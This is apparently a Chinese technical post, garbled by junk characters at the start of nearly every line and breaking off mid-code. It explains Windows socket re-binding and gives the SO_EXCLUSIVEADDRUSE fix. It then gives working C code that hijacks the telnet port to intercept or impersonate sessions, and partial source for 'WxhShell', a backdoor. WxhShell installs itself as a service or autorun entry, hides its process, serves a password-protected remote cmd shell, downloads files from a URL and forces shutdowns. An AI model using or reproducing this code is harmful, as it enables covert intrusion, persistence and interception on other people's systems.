在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
plUZ"Tr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
,u!*2cWN s8-<m,* saddr.sin_family = AF_INET;
ad.3A{ {)"iiJ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n1JRDw"e$$ 3|WWo1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d\p,2 )Gj8X}DM 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}2<r, Zw*v 这意味着什么?意味着可以进行如下的攻击:
)>.&N[v :E_g"_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/a^1_q-bX R<[qGt|L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p;._HJ( _z'u pb& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
~p1j`r; iMI lZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
JQ,1D`?.a hCCiD9gz 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
y=`2\L" O <<(wa
j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`wus\&!W F{EnOr`,m= 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
.C&ktU4 U 'R)x";= #include
KHgBo}6 #include
]Bm/eRy" #include
y$@ZN~8 #include
&GlwC%$S DWORD WINAPI ClientThread(LPVOID lpParam);
G>wqt@%r9 int main()
VG,u7A*Z# {
6xWe=QGE WORD wVersionRequested;
kD*2~Z ?; DWORD ret;
,17hGKM WSADATA wsaData;
T'4z=Z]w BOOL val;
aCQ?fq SOCKADDR_IN saddr;
?\$#L^;b} SOCKADDR_IN scaddr;
;cPy1 int err;
&m|wH4\ SOCKET s;
Q.]}]QE
SOCKET sc;
x/;bu W- int caddsize;
wtc!> HANDLE mt;
Ys,{8Y,7 DWORD tid;
3
|hHR wVersionRequested = MAKEWORD( 2, 2 );
} w
5l err = WSAStartup( wVersionRequested, &wsaData );
kMtwiB|7j if ( err != 0 ) {
r41\r,`Dj printf("error!WSAStartup failed!\n");
dgA-MQ5{ return -1;
.2>p3|F }
KnsT\>[K saddr.sin_family = AF_INET;
VJdIHsI 7PANtCFb& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%!du,2 MxY/`9>E|+ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
e XfZ5(na saddr.sin_port = htons(23);
-PS#Z0> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\
C+(~9@| {
gF$V$cU printf("error!socket failed!\n");
@6mBqcE'? return -1;
d/bEt& }
~$p2#AqX val = TRUE;
qIY~dQ| //SO_REUSEADDR选项就是可以实现端口重绑定的
SE),":aY if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\T<$9aNb {
T}"6wywM printf("error!setsockopt failed!\n");
UN zlN return -1;
'B@e8S)y }
c05 %iv //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q8DQlqHm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
,4ei2`wV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
U7I qST 3:8{"md@2 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
QF&W`c {
'JNElXqrv ret=GetLastError();
xA9:*>+> printf("error!bind failed!\n");
%K>.lh@ return -1;
D<Zp!J1o }
%-<'QYYP listen(s,2);
l'\pk<V while(1)
55;g1o}}f {
h}]fnA caddsize = sizeof(scaddr);
uPRQU+ //接受连接请求
v>Mnl sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"R3d+p if(sc!=INVALID_SOCKET)
LrATSq@ {
j%y$_9a7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Op>%?W8/UF if(mt==NULL)
TEMw8@b {
5cEcTJL[C printf("Thread Creat Failed!\n");
,:`ND28V7 break;
)=-0M9e.{ }
JqMDqPIQ }
"h|'}7p CloseHandle(mt);
;\[(- )f!= }
:OW;?{ ~j closesocket(s);
%~jkB.\* ) WSACleanup();
1?| flK return 0;
^k
Cn*& }
P(;?kg}0 DWORD WINAPI ClientThread(LPVOID lpParam)
3;8!rNN {
"3<da* D1 SOCKET ss = (SOCKET)lpParam;
P|HKn,ar SOCKET sc;
(I@rLvZr{ unsigned char buf[4096];
|=EZ1<KzD SOCKADDR_IN saddr;
o ,xxh long num;
MSV2ip3 DWORD val;
TARXx> DWORD ret;
]r-C1bKD` //如果是隐藏端口应用的话,可以在此处加一些判断
z
Nl , //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
lhi_6&&[8 saddr.sin_family = AF_INET;
}=v)Js saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qVdwfT{1J saddr.sin_port = htons(23);
oX4q`rt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fd#jY} {
7#~+@'Oe printf("error!socket failed!\n");
/RyR>G! return -1;
8kbY+W%n }
n=,\;3Y= val = 100;
HBY.DCN[Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8&Myva {
q|%(3,)ig ret = GetLastError();
E( h<$w8s return -1;
8k^|G }
S=xA[%5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C_ \q?> {
$46{<4. ret = GetLastError();
X{^}\,cVtG return -1;
< Z|Ep1W }
a,o_`s< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
;r/;m\V {
tV9LD>3 printf("error!socket connect failed!\n");
0A:n0[V:] closesocket(sc);
@VN&t:/ l closesocket(ss);
fgj^bcp- return -1;
!;Jmg }
HAYMX:% while(1)
YUf1N?z {
m>}8'N) //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a,Gxm! //如果是嗅探内容的话,可以再此处进行内容分析和记录
Fxc)}i` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
cV-1?h63 num = recv(ss,buf,4096,0);
D{v8q)5r if(num>0)
h8G5GRD send(sc,buf,num,0);
WU4U Zpz else if(num==0)
\7z^!m break;
j$da8] ! num = recv(sc,buf,4096,0);
HP.E3yYK if(num>0)
$^ 'aCU0C send(ss,buf,num,0);
aS}1Q?cU else if(num==0)
y[@\j9Hq break;
FA90`VOWYU }
'O6]0l closesocket(ss);
0lM{l? closesocket(sc);
@>x pYV return 0 ;
/Jf~25F }
-S%x
wJKM h5kPn~ >\<*4J$PZ ==========================================================
QMo}W{D N:VX!w 下边附上一个代码,,WXhSHELL
mqfO4"lt fU2qrcVu ==========================================================
*FR$vLGn utlpY1#q/ #include "stdafx.h"
W2-=U@ Hqz?E@bc@ #include <stdio.h>
_kFYBd #include <string.h>
K:y^OAZfV #include <windows.h>
~9Cz6yF #include <winsock2.h>
hbOnlj4 #include <winsvc.h>
~F,
&GH #include <urlmon.h>
>i,iOx|E- :Zw@yt #pragma comment (lib, "Ws2_32.lib")
L3(^{W]| #pragma comment (lib, "urlmon.lib")
t@?u o**y Z2 #define MAX_USER 100 // 最大客户端连接数
RAs0]K #define BUF_SOCK 200 // sock buffer
Lb=W;9; #define KEY_BUFF 255 // 输入 buffer
;%q39U} zGcqzYbuA #define REBOOT 0 // 重启
CPazEe1S #define SHUTDOWN 1 // 关机
BRG|Asg( &217l2X
/ #define DEF_PORT 5000 // 监听端口
x;BbTBc> }ublR&zlp #define REG_LEN 16 // 注册表键长度
VFD%h
} #define SVC_LEN 80 // NT服务名长度
T9y;OG M"^K0 . // 从dll定义API
+zOOdSFk. typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
QBE@(2G}C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
R
-elIp typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
iT)WR90 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
W,hWOO y)J(K*x/$ // wxhshell配置信息
XbvDi+R2A struct WSCFG {
v1[_}N9f>H int ws_port; // 监听端口
)xl6,bq3 char ws_passstr[REG_LEN]; // 口令
L0h
G int ws_autoins; // 安装标记, 1=yes 0=no
f5dR 5G char ws_regname[REG_LEN]; // 注册表键名
Fq,N char ws_svcname[REG_LEN]; // 服务名
4B O %{ char ws_svcdisp[SVC_LEN]; // 服务显示名
!)H*r|*[ char ws_svcdesc[SVC_LEN]; // 服务描述信息
]YD(`42 x char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2g`[u| int ws_downexe; // 下载执行标记, 1=yes 0=no
\gKdDS char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
cz.3|Lby char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<DiOWi Etnb3<^[t };
H*!5e0~rR iK}v`xq // default Wxhshell configuration
*=nO struct WSCFG wscfg={DEF_PORT,
EnCU4CU` "xuhuanlingzhe",
w6,*9(;$Pk 1,
c;V D}UD' "Wxhshell",
@!H
'+c "Wxhshell",
Kmry=`=A "WxhShell Service",
DzDj)7 "Wrsky Windows CmdShell Service",
C6k4g75U2 "Please Input Your Password: ",
W8/(;K`/ 1,
GgdlVi 2 "
http://www.wrsky.com/wxhshell.exe",
h(:<(o@< "Wxhshell.exe"
D!l8l49hLu };
*wUdC zA{8C];~ // 消息定义模块
6F5,3& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
bXl8v char *msg_ws_prompt="\n\r? for help\n\r#>";
NWISS char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UH40~LxIma char *msg_ws_ext="\n\rExit.";
o>u!CL< char *msg_ws_end="\n\rQuit.";
{})y^L char *msg_ws_boot="\n\rReboot...";
hDtKnF char *msg_ws_poff="\n\rShutdown...";
pN k8! k char *msg_ws_down="\n\rSave to ";
5'9.np F) (5(fd.m+_ char *msg_ws_err="\n\rErr!";
|Y{PO&-?r char *msg_ws_ok="\n\rOK!";
h]}`@M" cdp{W char ExeFile[MAX_PATH];
u%aFb* int nUser = 0;
Ki 3_N*z HANDLE handles[MAX_USER];
!rHx}n{rw int OsIsNt;
$'u\B }bgo )<i SERVICE_STATUS serviceStatus;
'?k' 6R$'\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
>nNl^ yqW YAMfP8S // 函数声明
XW:%vJu^` int Install(void);
}z{wQ\ int Uninstall(void);
)8]3kQffJ= int DownloadFile(char *sURL, SOCKET wsh);
y {;u@o?T int Boot(int flag);
u2,H ]- void HideProc(void);
<|Iyt[s int GetOsVer(void);
~._ko int Wxhshell(SOCKET wsl);
r$?Vx_f`Q void TalkWithClient(void *cs);
6'vi68 int CmdShell(SOCKET sock);
QB9A-U<J int StartFromService(void);
F#^L9 int StartWxhshell(LPSTR lpCmdLine);
kpWzMd &RK :'ihE\j VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l }+Cdy9> VOID WINAPI NTServiceHandler( DWORD fdwControl );
jRwa0Px( vhNohCt // 数据结构和表定义
Ir>2sTrm SERVICE_TABLE_ENTRY DispatchTable[] =
]
EV`dIk {
@oA0{&G{ {wscfg.ws_svcname, NTServiceMain},
L3g9b53\ {NULL, NULL}
[{/$9k-aF? };
PgTDjEo 2gH_$ // 自我安装
YjL
t&D:IZ int Install(void)
Djyp3uUA/ {
\E~Q1eAJT char svExeFile[MAX_PATH];
CCn/ udp@ HKEY key;
AO^]>/7ed strcpy(svExeFile,ExeFile);
-2z,cj&E{ %/X2 l // 如果是win9x系统,修改注册表设为自启动
m.Twgin if(!OsIsNt) {
VZIKjrKs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
<qr^Nyo4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&6Ns7w6*z RegCloseKey(key);
s v6INe: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DYkC'+TEX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%5`r-F RegCloseKey(key);
MHGj vSx return 0;
cu:-MpE }
NuIT{3S }
,R8n,az }
x}_rnf_ else {
'}@e5^oL B U'Ki \ // 如果是NT以上系统,安装为系统服务
N:twq&[Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
CJ0$;et if (schSCManager!=0)
V;P1nL4L {
3g^IXm:K$ SC_HANDLE schService = CreateService
c
3}x)aQ (
JXlTN[O schSCManager,
j-j'ph K wscfg.ws_svcname,
>s44 wscfg.ws_svcdisp,
!B0v<+;P8 SERVICE_ALL_ACCESS,
<\+Po<)3j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
PnI)n=(\ SERVICE_AUTO_START,
Q3(hK<Qh; SERVICE_ERROR_NORMAL,
s z;=mMr/Z svExeFile,
U`:l AG NULL,
o`oRG)QC NULL,
~}epq6L> NULL,
loml.e=87 NULL,
>3<&V{<K NULL
=7*oC );
11PLH0 if (schService!=0)
D WsCYo {
I|GV
:D CloseServiceHandle(schService);
.%|OGl ? CloseServiceHandle(schSCManager);
H't `Q&]a
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Iz 1*4@ strcat(svExeFile,wscfg.ws_svcname);
T^rz!k{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
$0S.@wUG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
;JMOsn}8 RegCloseKey(key);
L%TxP6z4A return 0;
40`9t Xn }
>^M!@=/?J }
AaJ,=eQ CloseServiceHandle(schSCManager);
46QYXmNQ} }
%:yHMEG]' }
l|4xKBCV] AT2NC6{M return 1;
m0dFA<5- }
V2WUM+`uT <P?3GT/ // 自我卸载
WM~J,`]J int Uninstall(void)
>\^N\& {
n_e}>1_ HKEY key;
iKR8^sj7S 'fp<FeTg if(!OsIsNt) {
(h'$3~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\i&vOH' RegDeleteValue(key,wscfg.ws_regname);
j]cXLY
RegCloseKey(key);
uIVTs9\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S)Ub/`f{s RegDeleteValue(key,wscfg.ws_regname);
.:#_5K RegCloseKey(key);
mjkw&2 return 0;
>*<6 zQf }
f4A4 }
|wyJh"4!
}
(50[,:# else {
U{U:8== C7XS6Nqu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
[~Z'xY
y if (schSCManager!=0)
7Y_fF1-wY {
Sm*Jysy` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
S4aHce5PXA if (schService!=0)
3_R {
=0!\F~ if(DeleteService(schService)!=0) {
priT7! CloseServiceHandle(schService);
/w}B07. CloseServiceHandle(schSCManager);
Npf7 p return 0;
J;Z>fAE7 }
eD`
, CloseServiceHandle(schService);
~T p8>bmSR }
7am/X. CloseServiceHandle(schSCManager);
:+?W }
fW4cHB9| }
qk+{S[2j JtrDZ;^@
return 1;
7KSGG1ts }
+ia(%[ y}:)cA~o(y // 从指定url下载文件
H-\{w
int DownloadFile(char *sURL, SOCKET wsh)
vwqN;|F {
!=h|&Vta HRESULT hr;
9Sj:nn^/u char seps[]= "/";
PhI6dB` char *token;
5w [= char *file;
s2kZZP8- char myURL[MAX_PATH];
afP&+ 5t@O char myFILE[MAX_PATH];
x[O#(^q mZ0oa-Iy strcpy(myURL,sURL);
8HRPJSO~g token=strtok(myURL,seps);
fj
t_9-. while(token!=NULL)
yzM+28}L<I {
F#}1{$)%
/ file=token;
j~L1~@ token=strtok(NULL,seps);
N5 rG.6K }
c]>&6-;rf >*t>U8 GetCurrentDirectory(MAX_PATH,myFILE);
EDidg"0p strcat(myFILE, "\\");
6nWx>R< strcat(myFILE, file);
.dKRIFo send(wsh,myFILE,strlen(myFILE),0);
,<P[CUD&& send(wsh,"...",3,0);
3Llj_lf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
YT(1
"{: if(hr==S_OK)
k@";i4}A return 0;
Ualq>J5-m- else
o?O,nD
6 return 1;
k]/6/s\ n\"LN3 }
4bFVyv .kKwdqO+zB // 系统电源模块
B%g :Z int Boot(int flag)
eZod}~J8 {
O"^a.`27 HANDLE hToken;
'GzhZ`E6 TOKEN_PRIVILEGES tkp;
6u, 0y$3 TX
[%s@C if(OsIsNt) {
!4,xQ^
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
rD
U6 5j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]|LaMMD tkp.PrivilegeCount = 1;
'/Cz{<, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(DMnwqr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
gL}Y5U+s if(flag==REBOOT) {
>.wd) if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
OZ14-}Lr5 return 0;
S1= JdN }
"X(= else {
>Wit"p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
V\`=" return 0;
%PdYv _5 }
s1\BjSzk }
t{s*3k/ else {
Ru')X{]25 if(flag==REBOOT) {
Hh;6B!zb+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|j}F$*SE[ return 0;
1HWJxV" }
ZpctsCz] else {
Uu:v4a if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
^`MDP`M; return 0;
!gew;Jz }
49fq6ZhO }
khIa9Nm N_Ld,J%g return 1;
DF|lUO]: }
_O,ZeES }Q^a.`h // win9x进程隐藏模块
Od]xIk+E void HideProc(void)
bCe-0!Q {
j4r,_lH^r =?Md&%j HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jyH_/X5i7 if ( hKernel != NULL )
!D&MJThNy {
iPO
S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
f:&OOD o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
rg/vxTl FreeLibrary(hKernel);
S)|b%mVwR }
mM{v>Em2K# J\D3fh97- return;
VDY1F_Fk }
O9)}:++T " z'!il# // 获取操作系统版本
8~#Q * int GetOsVer(void)
xG/qDc {
wu&7#![, OSVERSIONINFO winfo;
4yv31QG$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
`3oP^# GetVersionEx(&winfo);
A_|FsQ6$P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
JHH&@Cn return 1;
yLOLv6g~e else
U/o}{,$A return 0;
3~xOO*`o }
XO~^*[K vGT.(:\-, // 客户端句柄模块
Lta\AN!c int Wxhshell(SOCKET wsl)
YH9]T, {
Asu"#sd SOCKET wsh;
'FFc"lqj struct sockaddr_in client;
|R/50axI DWORD myID;
3y ,?>- RhmVHhj while(nUser<MAX_USER)
:q1r2&ne {
mDfWR int nSize=sizeof(client);
:XZ
pnjj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
!;Nh7vG if(wsh==INVALID_SOCKET) return 1;
]!:Y]VYN)\ _I4sy=tYXK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*$D-6}Oay if(handles[nUser]==0)
.y+U7"?s* closesocket(wsh);
NLY5L7 else
$8r:&Iw nUser++;
Q2?qvNZ }
}L9j`17 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
o7zfD94I T<)z2Bi return 0;
54w-yY }
@1@WB]mQQ >,3
3Jx // 关闭 socket
a~>h'}C> void CloseIt(SOCKET wsh)
`f]O {
dZmq closesocket(wsh);
N<99K! nUser--;
oVW?d]R ExitThread(0);
}}_l@5 }
q?&&:.H"?5 ,-)1)R\. // 客户端请求句柄
7i.aZ2a% void TalkWithClient(void *cs)
8t%1x|! {
Jiq[VeLe *gVv74;; SOCKET wsh=(SOCKET)cs;
-S@: char pwd[SVC_LEN];
bAp`lmFI char cmd[KEY_BUFF];
cqudF=q char chr[1];
BL67sva; int i,j;
6EY4@0%A o@. !Z8 while (nUser < MAX_USER) {
9"S3A EI whCv9)x if(wscfg.ws_passstr) {
k1J}9HNYR if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Yo:&\a K[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
rNc>1}DDS //ZeroMemory(pwd,KEY_BUFF);
?L^ Gu ]y i=0;
&kvVMnok while(i<SVC_LEN) {
zYgLGwi{ K-ebAaiC // 设置超时
zVu}7v() fd_set FdRead;
Sgj6tH2M struct timeval TimeOut;
M3%<kk-_ FD_ZERO(&FdRead);
@kw=0 FD_SET(wsh,&FdRead);
6F2}|c TimeOut.tv_sec=8;
}R^{<{KVJ TimeOut.tv_usec=0;
&3<]FK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=E}/Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8CCA/6 Sc&_6}K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
h(BN6ZrzKd pwd
=chr[0]; 2;/hFwm
if(chr[0]==0xd || chr[0]==0xa) { Eq
t61O$x
pwd=0; PyYe>a;.
break; x)*[>d2yd
} A.n1|Q#
i++; HM/ qB^
} Jy9&=Qh
Ap/WgVw;
// 如果是非法用户,关闭 socket sMZ \6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l<5!R;?$
} 3XIxuQwf
3iB8QO;pp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J{H475GqiT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "='|c-x
,Fb#%r%
while(1) { a.P^+h
/Mv'fich(
ZeroMemory(cmd,KEY_BUFF); @Z)&3ss
1z)+P1nH]
// 自动支持客户端 telnet标准 \>+gZc]an
j=0; E>&dG:3no
while(j<KEY_BUFF) { m|!sY[!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d97wiE/i<
cmd[j]=chr[0]; jsuQR
if(chr[0]==0xa || chr[0]==0xd) { xaPTTa
cmd[j]=0; h<?Vzl
break; Q9(
eH2=
} U9Sp$$L
j++; #VLTx!5o
} $lvpBs
&4DWLI
// 下载文件 kM.zX|_
if(strstr(cmd,"http://")) { .69{GM?
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "F=O
if(DownloadFile(cmd,wsh)) m$]?Jq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cEe>Lyt
else STO6cNi
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w!61k \
} (|W@p\Q
else { J:t1W=lJ3
d35 ,[
switch(cmd[0]) { 0 ~VniF^
*\emRI>
// 帮助 JD.WH|sZ5
case '?': { DEs/?JZG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0Nmd*r
break; b?y3m +V`
} 9mr99tA
// 安装 r.[9/'>
case 'i': { `w2hJP
if(Install()) t|1?mH9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A%pcPzG;
else 60Y&)UR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oTZNW
break; kA fkQy(~
} 4\>Cnc{
// 卸载 sk9*3d5I
case 'r': { |*Hw6m
if(Uninstall()) i&RPYbT{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >osY?9
else 2}K7(y!?u
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @jX[Ho0W'
break; c5pF?kFaD
} 1Jt5|'tl
// 显示 wxhshell 所在路径 6Wl+5
a6V
case 'p': { A?=g!( wB
char svExeFile[MAX_PATH]; 4Z,MqG>
strcpy(svExeFile,"\n\r"); I!~5.
strcat(svExeFile,ExeFile); YRqIC -_
send(wsh,svExeFile,strlen(svExeFile),0); ]:d`=V\&N
break; wUv
Zc
} xh,};TS(K
// 重启 ;kDz9Va
case 'b': { #3leMZ6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g ?qm >X
if(Boot(REBOOT)) h${+{1](6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Mtd3F^o?
else { l~.ae,|7
closesocket(wsh); )l~:Puvh
ExitThread(0); _SY4Qs`d
} 1^jGSB.%A
break; mr&nB
} %We~k'2f
// 关机 $hXhq*5|c
case 'd': { iv*`.9TK-
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *]:gEO
if(Boot(SHUTDOWN)) BIqZg$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `7[z%cuK
else { kZ~ 0fw-
closesocket(wsh);
&NM.}f
ExitThread(0); CY"&@v1
} )RG@D\t ,
break; FxeDjAP
} 9%T~^V%T7
// 获取shell e=e^;K4
case 's': { ,rc?,J1l
CmdShell(wsh);
~$cz`A
closesocket(wsh); QhR.8iS
ExitThread(0); Y>W$n9d&G2
break; [;~:',vHQf
} 1$mxMXNsJ
// 退出 $=3&qg"!
case 'x': { Vz_ac
vfk^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B /q/6Pp
CloseIt(wsh); wiHGTaR
break; -hL 0}Wy$N
} nIc:<w]
// 离开 ,t?c=u\5
case 'q': { xgeDfpF'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \A
"_|Yg
closesocket(wsh); cC@.&
WSACleanup(); CWKN0HB
exit(1); Q5%$P\
break; ye?4^@u u
} &ed&2t`Y
} _%M+!Ltz
} DNTkv_S
DpA"5RV
// 提示信息 EY+/
foP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j:k}6]p}
} %*:X
FB
} fyHFfPEE
-!_\4
return; .0ov>4,R
} uO]^vP]fT
ppYIVI
// shell模块句柄 F6'[8f
int CmdShell(SOCKET sock) skSs|slp
{ ?so=k&I-M
STARTUPINFO si; u
V[:e|v
ZeroMemory(&si,sizeof(si)); SK][UxoHm
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J)kH$!csi
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #k}x} rn<'
PROCESS_INFORMATION ProcessInfo; rHSA5.[1P
char cmdline[]="cmd"; s*XE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A5WchS'
return 0; 4k7
LM]
} O4c[,Uq8~
.
W7ZpV
// 自身启动模式 27"M]17)
int StartFromService(void) xbTvv>'U
{ _0GM!Cny
typedef struct E:7R>.g
{ !PySYY
DWORD ExitStatus; Sh@en\m=#S
DWORD PebBaseAddress; r}>q*yx:
DWORD AffinityMask; N'5AU (
DWORD BasePriority; 'gD,HX
ULONG UniqueProcessId; .,vF%pQ
ULONG InheritedFromUniqueProcessId; E\_Wpk
